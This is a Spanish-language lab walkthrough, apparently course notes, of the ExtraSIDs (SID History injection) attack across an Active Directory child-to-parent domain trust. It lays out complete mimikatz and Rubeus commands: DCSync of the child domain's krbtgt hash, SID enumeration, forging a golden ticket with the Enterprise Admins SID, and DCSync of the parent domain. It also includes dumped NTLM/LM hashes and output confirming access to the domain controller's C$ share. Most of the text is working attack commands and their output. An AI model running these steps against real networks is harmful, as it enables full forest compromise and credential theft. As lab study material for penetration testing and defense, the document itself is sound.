Attacking Domain Trusts — Child to Parent (Windows)

🧬 Introducción al SID History

¿Qué es SID History?

El atributo sidHistory permite que un usuario migrado entre dominios siga accediendo a recursos antiguos.
Los SIDs “antiguos” se agregan como SIDs adicionales al token del usuario.

🔐 Pero… un atacante puede inyectar SIDs abusando de este mecanismo.


⚠️ Abuso: SID History Injection

Impacto Crítico

Si añadimos el SID del grupo Domain Admins / Enterprise Admins al SID History del usuario comprometido:
👉 el usuario obtiene privilegios DA/EA completos, aunque NO pertenezca realmente al grupo.

Esto habilita:


🎭 ExtraSIDs Attack (Child ➝ Parent)

Este ataque explota que dentro del mismo bosque, NO se aplica SID Filtering, permitiendo usar SID history para elevar privilegios hacia el dominio raíz.

🎯 Requisitos del ataque

Necesitamos:

Requisito Descripción
🔑 Hash NTLM del KRBTGT del dominio hijo Para forjar el TGT
🧬 SID del dominio hijo Para generar el ticket
👤 Usuario objetivo Puede no existir (ej: hacker)
🌐 FQDN del dominio hijo LOGISTICS.INLANEFREIGHT.LOCAL
🏰 SID del grupo Enterprise Admins del dominio padre DA del forest

📍 Paso 1 — Obtener el hash del KRBTGT (DCSync)

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

Salida relevante:

Hash NTLM: 9d765b482771505cbe97411065964d5f


📍 Paso 2 — Obtener el SID del dominio hijo

Get-DomainSID

Salida:
{5E833201-C1A0-4D70-84AA-6214E615AEC7}.png


📍 Paso 3 — Obtener SID de Enterprise Admins del dominio padre

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" |
 select distinguishedname,objectsid

SID obtenido:
{36C6C9F1-AE80-4D91-9FC9-D66FB23D3BF1}.png


📍 Paso 4 — Validar que NO tenemos acceso antes del ataque

ls \\academy-ea-dc01.inlanefreight.local\c$

Resultado:
{F7CB42F8-FC7F-4B4E-9B06-7D9D20BF765E}.png
Access is denied


🛠️ Ataque: Golden Ticket con Mimikatz

`

kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

{785DD3DE-9529-48EA-A0A3-EAEAE60984EC}.png

Validar ticket cargado

klist


📁 Acceso logrado al dominio padre

ls \\academy-ea-dc01.inlanefreight.local\c$

{A4A1D9FB-4E4B-4997-8AE1-FA8EF4649BB7}.png
Ahora sí muestra todo el disco C: del DC padre 😈.


🔁 ExtraSIDs Attack con Rubeus

Verificación previa:

ls \\academy-ea-dc01.inlanefreight.local\c$

Access denied.
{9D24F5BF-5C2C-4426-AF44-8A77CC3FFC4B}.png

Crear Golden Ticket

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

{ED0826F5-7A46-4386-87BB-F313F9B7F7D0}.png
Confirmar ticket:

klist
{1AF764EF-7113-4F07-AD26-45735B5C4034}.png
{C0710D7D-66D0-4C1E-B16D-CD51CCBC48B9}.png


📤 DCSync en el dominio padre

PS C:\Tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

Ejemplo con dominio explícito:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

🧠 Resumen en Mermaid (flujo del ataque)

flowchart TD A[Compromiso Child Domain] --> B[Conseguir KRBTGT Hash] B --> C[Conseguir SID dominio hijo] C --> D[Conseguir SID Enterprise Admins padre] D --> E[Crear Golden Ticket con ExtraSIDs] E --> F[Acceso Enterprise Admin en dominio padre] F --> G[DCSync dominio padre]